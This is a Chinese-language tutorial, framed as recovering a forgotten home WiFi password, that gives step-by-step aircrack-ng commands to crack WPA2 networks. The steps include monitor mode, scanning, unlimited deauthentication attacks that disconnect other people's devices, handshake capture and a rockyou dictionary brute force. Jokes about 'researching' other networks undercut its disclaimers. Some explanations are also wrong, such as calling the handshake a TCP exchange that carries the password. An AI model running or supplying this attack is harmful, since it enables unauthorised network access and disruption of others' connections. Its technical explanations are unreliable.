家里wifi密码忘了怎么办？

前提（不适合小白，适合初学）

本文章提供仅学习，研究，参考，不提供技术支持，如出现使用违法情况，与作者无关，阅读使用者自行承担相应法律责任，有必要联系我删除文章！！！

Kall系统下载官网：谷歌浏览器访问https://www.kali.org/

1.Kali 2022版本

2.账号kali 密码 kali

3.建议命令前面 使用sudo (临时权限)

4.VMware Workstation15.5以上虚拟机

5.在虚拟机安装好kail linunx系统（具体怎么安装……度，so，bing，google一下）

6.无线网卡（芯片为3070以上、1887L、3072L都可以支持Linux系统）补充：普通的网卡不支持监听功能

 

无线网卡监听收发-破解wifi密码

P1.简化（解决方案、图片、解释不提供-只提供命令注释过程，想看细节以及解决问题p2 ）：

（命令+注释）

1. sudo airmon-ng ----检查网卡是否正常
2. Ifconfig ----查看网卡信息（无线默认名称wlan0）
3. sudo airmon-ng start wlan0 ----开启网卡监听模式
4. Iwconfig ----查看wlan0网卡信息 （变成wlan0mon）
5. sudo airodump-ng wlan0mon ----开始扫描wifi信号
6. sudo airodump-ng --bssid BC:5F:6F:3D:03:74 -c 13 -w /home wlan0mon 

解释：--bssid = wifi的型号mac地址 、-c = 信号通道 ， -w = 文件前名字（名字.wifi.01_1cap）

7、sudo aireplay-ng -0 0 -c B8:37:65:94:5D:13 -a BC:5F:6F:3D:03:74 wlan0mon

解释：-0 数字（攻击次数）， -c 手机、平板、电脑等其他设备mac地址 ，-a wifi设备mac地址

8、 解压kali自带的字典文件 路径：/usr/share/wordlists/rockyou.txt.gz

gzip -d/usr/share/wordlists/rockyou.txt.gz

9、键入 aircrack-ng -w 字典路径 握手包路径，回车后开始爆破

aircrack-ng -w /usr/share/wordlists/rockyou.txt  /home/wifi-0.1.cap

耐心等待密码破解吧…

P2.细化（提供图片过程、说明、扩展，解决、适合初学者、需要一定网络、程序知识）

第一步：打开VM虚拟机(16.5)里面的kali系统

 

 等待进入系统……

 好的，进入到系统登录界面了，有没有认真看前提呢？密码是什么呢？

 能登录成功，说明你有真正的在学习呢！泪目wu……

哎嘿！好了好了我们往下第二步吧

第二步：

Ctrl+alt+T打开终端程序

输入：sudo airmon-ng (哎哎先不要急输入命令)

扩展：虚拟机先做个快照然后再去做实验（具体怎么做快照，enmmm，我就不多说了）

输入出现：su: user airmon-ng does not exist or the user entry does not contain all the required fields（目录不存在）

解决方法如下：先在window主机上按win+r键然后输入services.msc 回车

找到VMware USB Arbitration Service，双击

启动类型改为自动2.启动服务状态3.确定

开虚拟机的设置，改成跟下图一样（如果为灰色无法更改，则需要关闭kail系统后再改）

 将usb无线网卡插在电脑上，（我这里是淘宝买的3072L芯片的网卡）

 点击 虚拟机>可移动设备>选择802.11n WLAN的 >连接

 命令ifconfig查看网卡信息，天啊!出现了wlan0！说明已经连接成功了

 那就输入命令sudo airmon-ng start wlan0开启网卡监听模式吧 嗨哎嗨！

 输入iwconfig命令查看网卡信息， wlan0mon网卡名加了mon则表示成功

命令sudo airodump-ng wlan0mon，开始扫描WiFi，按ctrl+c结束任务

 

我这里说明一下傲！

BSSID:指wifi的mac地址就是设备的物理地址

PWR：wifi距离你接收的信号强度，数值小说明，离你近

DATA：上行和下行的数据包，越大数据说明有人在下载或者播放不可描述的……

CH：一般家用2.4G信道为13个（1-13数字）

ESSID：wifi的名称（中文命名可能会****）

好吧，我已经介绍完了接下来输入你抓到的数据去……额学习!!!!

sudo airodump-ng --bssid BSSID -c 信道频率 -w 存储的路径名称 wlan0mon

新打开终端

进入/home文件夹：cd /home

创建一个叫wifi的文件夹 来放抓包数据：sudo mkdir “文件路径” 补充：如果要删除文件 请使用rm来删除：sudo rm -f “文件路径”

哎！不懂怎么删除创建和 “../ ./ ”什么意思、查看，建议去温习一下Linux基本指令再来做实验

用LS、LL、LS-a查看已经创建成功，没创建成功命令前面加sudo （调用临时root权限）

创建好文件夹-继续输入你想研究的对象……呸是wifi的mac地址和信道。。如下命令

sudo airodump-ng --bssid BC:5F:6F:3D:03:74 -c 13 -w /home wlan0mon

数据包已经正在抓取

重点的来了！！！

sudo aireplay-ng -0 0 -c B8:37:65:94:5D:13 -a BC:5F:6F:3D:03:74 wlan0mon

注意！：在敲上面的命令的时候↑

先把全局扫描wifi关了，会一定的影响到信道抓包

-0 0 : 发送的干扰包次数

-c : 手机、平板、笔记本、电视设备的mac地址

-a：wifi mac地址

wlan0mon ：最后是网卡名称（一般就是这个名字）

原理是 发送伪造帧攻击 让对方的连接中wifi掉线，然后进行重连，中间会发送tcp包含三次握手里面有wifi密码wpa2加密密钥

 回到监听画面，出现wpa handshake的时候就抓包成功了

抓完包记得关掉：停止wlan0mon 监听 ：sudo airmon-ng wlan0mon

两个终端都要按Ctrl+c停止哦！，要不然那边会一直连接不到wifi哈哈！

cd打开抓包的目录，ls列出来，就看到我们抓到的数据包 “wifi-0.1.cap”这个就是握手包

解压kali自带的字典文件 路径：/usr/share/wordlists/rockyou.txt.gz

Sudo gzip -d/usr/share/wordlists/rockyou.txt.gz

输入sudo aircrack-ng -w 字典路径 握手包路径，回车后开始爆破

Sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt /home/wifi/wifi-0.1.cap

禁止！使用非法用途！违规者自己承担法律责任，与作者无关！在此声明！